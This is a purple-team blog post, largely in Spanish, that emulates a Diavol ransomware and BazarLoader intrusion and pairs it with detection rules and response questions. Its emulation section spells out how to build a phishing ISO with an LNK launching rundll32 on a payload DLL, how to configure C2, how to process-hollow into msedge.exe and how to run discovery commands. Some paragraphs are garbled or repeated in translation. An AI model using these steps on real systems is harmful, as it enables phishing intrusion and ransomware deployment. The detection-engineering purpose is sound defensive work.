Emulación de Adversarios Diavol Ransomware

Bienvenido a la serie SCYTHE #ThreatThursday donde aprovechamos la inteligencia de amenazas cibernéticas, atacamos, detectamos y respondemos como un equipo púrpura para mejorar nuestra gente, procesos y tecnología. Hemos creado nuestra amenaza automatizada más elaborada, emulando un ataque real del ransomware Diavol, en un ataque de 5 etapas que puede emular fácilmente en su entorno para determinar si su organización puede detectar y responder antes del "boom", donde el boom es doble extorsión (exfiltración y cifrado).

En SCYTHE, contamos con nuestro propio Equipo Púrpura donde colaboramos para comprender la amenaza, emularla y realizar ingeniería de detección. Con ustedes esta semana tenemos a Nathali Cano (CTI), Jorge Orchilles (Ataque) y Chris Peacock (Ingeniero de detección enfocado en detección y respuesta). Un gran agradecimiento a The DFIR Report por proporcionar el informe que sirvió como punto de partida. 

¡Nosotros los patrocinamos y tú también deberías hacerlo!

Si se une a nosotros desde SANS CTI Summit o Cactus Con donde se presentó Operationalized Purple Teaming, ¡bienvenido! Nuestro marco de ejercicio del equipo púrpura que cubre el proceso está disponible en nuestro GitHub.

Cyber Threat Intelligence

We continued extracting procedures and building out the adversary emulation plan procedure per procedure. Given the multiple payloads used, we had to understand the timing and execution of each procedure to more accurately build the adversary emulation plan. Our Google Sheet is available here if you would like to take a look at the entire multi-stage attack.

‍

Este #ThreatThursday es proporcionada por The DFIR Report on Diavol Ransomware publicado el 13 de diciembre de 2021. Como de costumbre, analizamos el informe, extraemos TTP a nivel de procedimiento, mapeamos a MITRE ATT&CK y construimos un plan de emulación adversario que su organización puede aprovechar para Atacar, Detectar y Responder.

Como es típico en los ataques de ransomware, vemos tres grupos diferentes en el trabajo:

1. Acceso inicial y ejecución por parte de un intermediario de acceso inicial. En este caso, BazarLoader se aprovechó para obtener acceso inicial mediante una serie de técnicas de evasión de defensa, incluido el phishing con enlaces públicos de OneDrive, para descargar un ZIP, que contiene un ISO, un acceso directo (archivo LNK), que ejecuta rundll32.exe y luego inyección de proceso en un ejecutable más obvio, msedge.exe.

Procedimientos 

2. Manuales por parte de un actor de amenazas para realizar descubrimiento, acceso a credenciales, persistencia, movimiento lateral, recopilación y exfiltración.

3. Ransomware lanzado por un afiliado para cifrar archivos y extorsionar a la organización, el ransomware Diavol.

Este ataque en particular aprovechó múltiples cargas útiles y servidores de comando y control (C2) durante un período de 3 días debido a las múltiples partes involucradas. El Informe DFIR hace un gran trabajo al resumir todo el caso, así que lo publicaremos aquí para su revisión:

El malware (BazarLoader) se envió a un punto final por correo electrónico, que incluía un enlace a OneDrive. El enlace de OneDrive dirigía al usuario a descargar un archivo que era un zip, que incluía un ISO en su interior. Una vez abierto (montado) en el sistema de los usuarios, se determinó que la ISO contenía un archivo LNK y una DLL. El archivo LNK disfrazado de documento que invita al usuario a hacer clic en él/abrirlo. Una vez que el usuario ejecutó el archivo LNK, se inició la infección de BazarLoader.

Como se vio en casos anteriores, la infección de BazarLoader comenzó con un reconocimiento interno del entorno utilizando utilidades de Windows como net, nltest e ipconfig. Después de estar inactivo durante una hora, la intrusión continuó con la caída de múltiples DLL de baliza Cobalt Strike en la cabeza de playa. Esto fue seguido por otra ronda de descubrimiento de la máquina comprometida. Luego, el actor de amenazas procedió con la ejecución de adf.bat, que es un script que consulta varios objetos de Active Directory utilizando la herramienta AdFind. La primera ejecución fue usando un binario renombrado llamado qq.exe y luego el actor de amenazas soltó un binario de AdFind correctamente llamado y ejecutó los mismos comandos de descubrimiento nuevamente. Poco después, con el uso de otro script por lotes simple llamado fodhelper_reg_hashes.bat, realizaron la adquisición de credenciales mediante el volcado de las secciones de registro SAM, SECURITY y SYSTEM.

Al regresar después de un lapso de casi 18 horas, el actor de amenazas realizó otra ronda de escaneo de red desde la cabeza de playa. Esto fue seguido por intentos de Kerberoast y "AS-REProast" usando la herramienta Rubeus. El actor de amenazas luego se movió lateralmente a través de RDP a un servidor que contenía recursos compartidos de archivos. Después de obtener acceso al sistema, instalaron una aplicación de acceso remoto, AnyDesk, así como Filezilla.

Los actores de la amenaza usaron FileZilla para extraer datos del entorno. Luego giraron hacia sistemas críticos, como controladores de dominio y un servidor que contenía copias de seguridad. Luego, el actor de amenazas descargó LSASS de uno de los controladores de dominio, usando el administrador de tareas, y luego cargó el archivo de volcado en ufile.io usando Internet Explorer.

En el servidor de respaldo, los actores de amenazas intentaron volcar las bases de datos asociadas con la solución de respaldo. En un intento, utilizaron una técnica documentada para recuperar la contraseña codificada y decodificarla mediante la API de protección de datos de Microsoft (DPAPI).

Después de alrededor de 42 horas después de la intrusión inicial, los actores de amenazas avanzaron hacia la finalización de su objetivo final. El acceso RDP se estableció desde el servidor de archivos central que los actores de amenazas habían comprometido todos los puntos finales y se ejecutó un script por lotes llamado "kill.bat" en todas las máquinas objetivo.

El script consta de comandos que eliminan las instantáneas de volumen, desactivan la reparación de inicio automático de Windows y detienen todos los servicios en ejecución en el host. Una vez que el script completó la ejecución, Diavol Ransomware se implementó a través de la conexión RDP en cada máquina ejecutando el ejecutable manualmente. Desde el acceso inicial hasta la implementación del ransomware, los actores de amenazas tardaron alrededor de 42 horas en implementar el ransomware en todo el dominio, pero desde el inicio de sesión el tercer día hasta la última ejecución del rescate del host, solo pasó alrededor de una hora para que los actores terminaran su implementación.

El informe DFIR también se asigna a MITRE ATT&CK y proporciona la asignación en la parte inferior del informe:

• Spearphising Link – T1566.002
• BITS Jobs – T1197
• Kerberoasting – T1558.003
• AS-REP Roasting – T1558.004
• Credentials in Registry – T1552.002
• Remote Desktop Protocol – T1021.001
• Exfiltration to Cloud Storage – T1567.002
• OS Credential Dumping – T1003
• SMB/Windows Admin Shares – T1021.002
• System Owner/User Discovery – T1033
• Network Service Scanning – T1046
• Process Injection – T1055
• PowerShell – T1059.001
• Domain Groups – T1069.002
• File and Directory Discovery – T1083
• Access Token Manipulation – T1134
• Network Share Discovery – T1135
• Domain Trust Discovery – T1482
• Data Encrypted for Impact – T1486
• Disable or Modify Tools – T1562.001
• Valid Accounts – T1078

Todo esto es fantástico y muestra la evolución de Cyber ​​Threat Intelligence desde Indicadores de Compromiso (IoC) hasta Indicadores de Comportamiento (IoB). Sin embargo, el mapeo de MITRE ATT&CK está a nivel de técnica y necesitamos información a nivel de procedimiento para emular al adversario y realizar ingeniería de detección. Esta es una brecha importante que seguimos viendo en la mayoría de los proveedores de CTI. Por suerte para todos nosotros, el informe DFIR proporciona información a nivel de procedimiento en el informe.

Procedimiento de extracción nivel CTI

Nuestro próximo paso es extraer CTI de nivel de procedimiento que sea procesable para Ataque, Detección y Respuesta. Trabajamos juntos como un equipo morado interno para asignar el CTI a la táctica, la técnica, el procedimiento y el procedimiento del que somos capaces como atacante. A menudo falta información a nivel de procedimiento y tenemos que ser creativos en el procedimiento que realizamos para emular lo más posible al adversario.

‍

Hagamos un ejemplo juntos. El primer párrafo del resumen del Informe DFIR establece:

El malware (BazarLoader) se envió a un punto final por correo electrónico, que incluía un enlace a OneDrive. El enlace de OneDrive dirigía al usuario a descargar un archivo que era un zip, que incluía un ISO en su interior. Una vez abierto (montado) en el sistema de los usuarios, se determinó que la ISO contenía un archivo LNK y una DLL. El archivo LNK disfrazado de documento que invita al usuario a hacer clic en él/abrirlo. Una vez que el usuario ejecutó el archivo LNK, se inició la infección de BazarLoader.

Convertimos esto en Táctica, Técnica, Procedimiento y luego Procedimiento del Equipo Rojo. En este caso, emularemos con SCYTHE, por lo que agregaremos los pasos exactos:

‍

We continued extracting procedures and building out the adversary emulation plan procedure per procedure. Given the multiple payloads used, we had to understand the timing and execution of each procedure to more accurately build the adversary emulation plan. Our Google Sheet is available here if you would like to take a look at the entire multi-stage attack.

‍

Continuamos extrayendo procedimientos y construyendo el procedimiento del plan de emulación del adversario por procedimiento. Dadas las múltiples cargas útiles utilizadas, tuvimos que comprender el tiempo y la ejecución de cada procedimiento para construir con mayor precisión el correo del adversario.   

plan de mulación. Nuestra Hoja de Google está disponible aquí si desea echar un vistazo a todo el ataque de varias etapas.

Emular el Ataque

Este es un ataque de múltiples etapas que aprovecha múltiples cargas útiles y ejecución que realiza numerosos TTP diferentes. Los pasos de emulación manual se encuentran a continuación y los pasos automatizados para los usuarios de SCYTHE están disponibles en nuestro GitHub de amenazas comunitarias. En esta publicación, nos centraremos en la Etapa 0 y la eliminación de la Etapa 1 a través del proceso de vaciado or Process Hollowing.

Diavol Etapa 0

La etapa de acceso inicial de esta campaña aprovechó múltiples procedimientos de evasión de defensa para eliminar BazarLoader. Desde la perspectiva del atacante, partimos de un procedimiento diferente al observado por el CTI y la Respuesta a Incidentes; primero debemos configurar la infraestructura de Comando y Control. Con SCYTHE, es muy fácil comenzar una nueva campaña, por lo que omitiremos esos pasos y comenzaremos directamente con la descarga de la carga útil.

1. Inicie una campaña utilizando los siguientes parámetros de comunicación `--cp yourdomain[.]com:443 --secure true --multipart 10240 --heartbeat 5 --jitter 10`, descargue la DLL y configure el punto de entrada de `BasicScore` y guárdelo como `ShareFiles.dll`

1. Copie la carpeta src de nuestro GitHub de Compound Actions para T1553.005 en un directorio de trabajo en su sistema Windows.
2. Coloque SCYTHE DLL en Folder2Iso del directorio de trabajo.
3. En el directorio Folder2Iso, cree un acceso directo llamado "Documentos" y configure el "Objetivo" en: "C:\Windows\System32\rundll32.exe SharedFiles.dll,BasicScore".

4. Abra un símbolo del sistema de Windows y `cd` en el directorio de trabajo.
5. Ejecute `Folder2Iso.exe "Folder2Iso" "%USERPROFILE%\Downloads\new-documents-2005.iso" "Diavol" 0 0 0 "None"` Esto tomará todo el contenido de la carpeta Folder2Iso y creará un ISO de él.
6. Comprima el ISO y llámelo `nuevos-documentos-2005.zip`
7. Cargue el archivo zip en Microsoft OneDrive y copie el enlace.
8. Envíe un correo electrónico de phishing con el enlace al archivo zip de Microsoft OneDrive.
9. Si el usuario final descarga el ZIP y hace doble clic en el ISO, se montará en su terminal. El usuario deberá hacer doble clic en el acceso directo para comenzar la ejecución.

Una vez que se ejecuta el acceso directo, un nuevo cliente se conectará al servidor SCYTHE. Como estamos emulando manualmente esta actividad, primero deberá crear la campaña Diavol Stage 1, descargar el EXE y cargarlo en el sistema de archivos virtual en: 

VFS:/shared/Diavol/DiavolStage1.exe

Los últimos pasos de Diavol Stage 0 son la inyección de procesos en Microsoft Edge. El CTI no proporciona detalles a nivel de procedimiento sobre cómo ocurrió la inyección de procesos: “Los actores de la amenaza hicieron uso de la inyección de procesos durante la intrusión. El malware BazaLoader se inyectó en un proceso del navegador Edge, según lo observado por la actividad de descubrimiento”.

Conocemos los mapas de inyecciones de proceso para la técnica MITRE ATT&CK T1055, pero esa técnica tiene 11 subtécnicas. Este es un ejemplo en el que el equipo rojo deberá ser creativo e improvisar sobre qué procedimiento usar. En nuestro caso, vamos a usar Process Hollowing T1055.012 para intentar seguir evadiendo la detección. El vaciado de procesos o procesos Hollowing se realiza iniciando un proceso en un estado suspendido, desasignado (vaciando) su memoria y reemplazandolo con nuestra carga útil.

1. Cargue el módulo de vaciado del proceso: ```loader --load scythe.phollowing```
2. Inyecte DiavolStage1 en msedge: ```scythe.phollowing --src VFS:/shared/Diavol/DiavolStage1.exe --target "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"```
3. Apagar Diavol Etapa 0: ```controlador --shutdown```

Diavol Stage 1

La ejecución manual de la actividad de descubrimiento comenzó 14 minutos después del acceso inicial:

```

loader --load run

run net group /domain

run net group /domain "Domain Admins"

run net group "Domain Computers" /domain

run net localgroup administrators

run net view /all

run nltest /domain_trusts /all_trusts

```

59 minutos después del descubrimiento, se soltó y ejecutó otra carga útil:

```

loader --load downloader

downloader --src "VFS:/shared/Diavol/tfpkuengdlu.dll" --dest "%USERPROFILE%\AppData\Local\Temp\tfpkuengdlu.dll"

run rundll32.exe "%USERPROFILE%\AppData\Local\Temp\tfpkuengdlu.dll",EnterDll

controller --shutdown

```

Oportunidades de Detección

Hay múltiples oportunidades de detección a lo largo del kill chain. La fase de entrega es compleja debido a que los archivos ZIP comúnmente se descargan de los proveedores de la nube. Por lo tanto, se recomienda aprovechar el descifrado en sus firewalls y aislar estos archivos en su ingreso. Cubriremos las oportunidades de detección que siguen a la entrega del ZIP y comenzaremos con la descompresión.

Detecciones de etapa 0 de Diavol

Para resumir esta etapa, el actor de amenazas está tratando de llevar su etapa a un entorno, hacer que un usuario ejecute la etapa y luego hacer que el proceso de etapa inyecte la carga útil a través del proceso hollowing en Microsoft Edge. Si está mapeando a Kill Chain, estas serían las fases de Entrega, Explotación e Instalación. Es importante tener en cuenta que la explotación no siempre es una explotación técnica, pero en casos como este, puede ser una explotación humana para obtener la ejecución del código.

Nuevo archivo ISO

Cuando el archivo ZIP está descomprimido, se escribirá el archivo ISO. Los archivos ISO son poco comunes para los trabajadores fuera de la administración de TI. Por lo tanto, recomendamos alertar sobre nuevos archivos ISO para trabajadores fuera de TI. Dependiendo de su herramienta de monitoreo, puede filtrar por usuarios, estaciones de trabajo o grupos. A continuación se muestra un ejemplo del evento de escritura de archivo al descomprimir el archivo ZIP.

Montaje de una ISO

Si no podemos detectar el nuevo ISO, la siguiente oportunidad de detección es detectar el ISO malicioso que se está montando. Una vez más, se deberá realizar un filtrado para aquellos usuarios, equipos o grupos en los que la instalación de software es habitual. Recomendamos la regla de montaje de imagen ISO SIGMA para detectar esto usando los registros de seguridad de Windows. Tenga en cuenta que hay una política de auditoría avanzada para ajustar para que esto se registre.

Rundll32

Hay múltiples oportunidades de detección en torno a rundll32 en este plan, y las abordaremos en un enfoque de alerta en capas. Algunos pueden ser simples de implementar en su entorno, mientras que otros pueden ser más difíciles pero ofrecen un mayor valor de detección.

La línea de comando contiene Rundll32

Cuando los actores realizan esta técnica, pasan un comando que llama a rundll32 y lo apunta a un dll malicioso que han creado. En nuestro ejemplo, el comando fue "C:\Windows\System32\rundll32.exe" SharedFiled.dll,BasicScore.

 Entonces, buscamos cualquier línea de comando que contenga la cadena rundll32.exe. Podemos establecer una base de referencia en el entorno y alertar cuando se produzcan nuevos eventos sospechosos. Para ayudar a generar campos a la línea de base, recomendamos usar la regla SIGMA Rundll32 sin parámetros para esta lógica de detección. Si no puede establecer una línea de base, la organización puede buscar sucesos raros en su lugar. A continuación, podemos ver nuestro comando de emulación en la parte superior de nuestra búsqueda y podemos decidir alertar en cualquier momento que svchost.exe no sea la imagen principal.

Rundll32 con proceso principal de Explorer.exe

Debido a que la ejecución proviene de hacer clic en el archivo LNK, el proceso principal de rundll32.exe es explorer.exe. Esta relación padre-hijo es poco común, aunque cada entorno es único y puede necesitar una línea de base. Como puede ver a continuación, nuestro entorno no tenía eventos previos para esta lógica de alerta antes de la prueba.

Rundll32 con directorio actual anormal

Es muy inusual ver ejecutar rundll32 desde una unidad que no sea la unidad C:. Por lo tanto, podemos escribir una detección para buscar un proceso de rundll32.exe con un directorio actual que no sea la unidad C. Por lo tanto, la búsqueda de un proceso de rundll32.exe con un directorio actual que no contenga "C:\" se resolvió solo en verdaderos positivos, como se muestra a continuación. También hemos enviado la lógica a SIGMA para su incorporación.

Rundll32 con conexión de red

Cada entorno es único; por lo tanto, hay diferentes formas de implementar esta lógica que funcione para usted. La forma más sencilla de implementar esto es buscar un proceso de rundll32.exe que realice una conexión de red. En nuestro ejemplo, buscamos rundll32.exe y existe el campo IP de destino. Nuestra búsqueda de 30 días solo arrojó verdaderos positivos a nuestro servidor SCYTHE interno, como puede ver a continuación.

Si tiene demasiado tráfico interno para ajustar, es posible que desee comenzar solo con la captura de conexiones salientes. Para esto, recomendamos comenzar con la regla de conexión a Internet SIGMA Rundll32.

Proceso de detección de huecos o Process Hollowing 

Un EDR debería detectar esto. Sin embargo, vale la pena señalar si un analista responde a la alerta o no. Supongamos que hay demasiados falsos positivos para la alerta de vaciamiento del proceso generada por esta emulación. En ese caso, debe intentar establecer una línea de base de la alerta para su entorno para que pueda responderse. Si está superponiendo un EDR con Sysmon o solo está ejecutando Sysmon, debe implementar la lógica. Primero, deberá asegurarse de que Sysmon y su configuración estén actualizados, ya que esta funcionalidad se lanzó en 2021 en Sysmon 13. Consulte Microsoft Sysmon ahora detecta intentos de manipulación de procesos de malware. Una vez que recopila la telemetría adecuada, la lógica de detección es alertar sobre un código de evento de 25 con un tipo de imagen que se reemplaza. Esto detectará cuando una imagen de proceso en memoria no coincida con la

imagen de disco porque el vaciado de proceso la reemplaza. En el momento de escribir este artículo, hemos enviado esta lógica a SIGMA y debería estar disponible aquí como sysmon_process_hollowing.yml en breve, si no es que ya.

Detecciones de etapa 1 de Diavol

Esta etapa es donde el actor de amenazas enumera el entorno. Ahora que el actor ha inyectado el proceso de carga útil, los comandos de enumeración comunes se ejecutan aprovechando los comandos net y nltest. Si está mapeando a Kill Chain, aquí sería donde el actor ha llegado a Acciones en objetivos, ya que está ejecutando comandos activamente en el objetivo. Puede ver los comandos establecidos en la captura de pantalla de SCYTHE a continuación.

‍

Comandos de red sospechosos

Los comandos realizados por el adversario y el plan de emulación se ven comúnmente en los ataques de BazarLoader y ransomware. Estos comandos son indicativos de la enumeración del entorno en el que opera un actor de amenazas. Para detectar este acto de enumeración  Por ejemplo, recomendamos la regla SIGMA de ejecución de Net.exe. La lógica busca net.exe o net1.exe con una línea de comando que contenga cadenas de grupo, grupo local, usuario, vista, recurso compartido, cuentas, parada o estrella. En la imagen a continuación, todos los comandos en los pasos tres a siete fueron recogidos por la búsqueda de reglas.

Comandos Nltest sospechosos

Para detectar la enumeración de confianza del dominio realizada en el paso 8, recomendamos la actividad de reconocimiento SIGMA con la regla NLTEST y proporcionamos una captura de pantalla a continuación. Dependiendo de su entorno, es posible que pueda establecer una línea de base y marcar cualquier ejecución de nltest.exe. Vale la pena señalar que la regla SIGMA de descubrimiento de confianza de dominio también es aplicable.

 Responder

Si se detecta alguna de las alertas en el entorno, el equipo de respuesta debe determinar la profundidad de Kill Chain, recolectar artefactos y responder las siguientes preguntas:

¿La instalación fue exitosa?

• ¿Cuáles son los mecanismos persistentes?

¿Comando y Control (C2) es exitoso?

• ¿Cuáles son los nombres de dominio, direcciones IP, puertos y protocolos utilizados?

¿Existen observaciones de Acciones sobre Objetivos (AOO)?

• Si es así, ¿Que son?
• ¿Se trasladó a otros hosts?
• ¿Se tomaron datos confidenciales?

• ¿Nombres de usuario?
• ¿Contraseñas?
• ¿Otro?

¿Cuál fue el vector de infección?

• ¿Cómo fue entregado?
• ¿Qué explotación condujo a la instalación?

Una vez que se ha determinado la profundidad de la intrusión, debe comenzar la contención, la erradicación y la recuperación. Después de la recuperación, las lecciones aprendidas deberían impulsar cursos de acción adicionales (COA) para frustrar la amenaza en caso de que regrese, como implementar controles de seguridad adicionales. Como siempre, siga el plan de respuesta y las políticas de conservación de pruebas de su organización. También recomendamos aprovechar NIST SP 800-61 Rev. 2.

Conclusión

Nuestro equipo morado interno tomó la información sobre ciberamenazas del Informe DFIR, extrajo los procedimientos asignados a ATT&CK, creó y compartió un plan de emulación del adversario, emuló el ataque y cubrió múltiples oportunidades de detección. Este fue un ataque

de varias etapas con 3 actores de amenazas diferentes que trabajaron juntos para obtener acceso inicial, propagarse a través del entorno y aprovechar el ransomware Diavol para la doble extorsión. Nos gustaría agradecer a The DFIR Report por el informe detallado. El mapeo y el plan de ATT&CK a nivel de procedimiento están disponibles en esta hoja de Google si desea echar un vistazo a toda la fase de planificación del ataque de varias etapas. Por último, los pasos de emulación manuales y automatizados están disponibles para la comunidad en GitHub.

Autores: Jorge Orchilles, Chris Peacock, Nathali Cano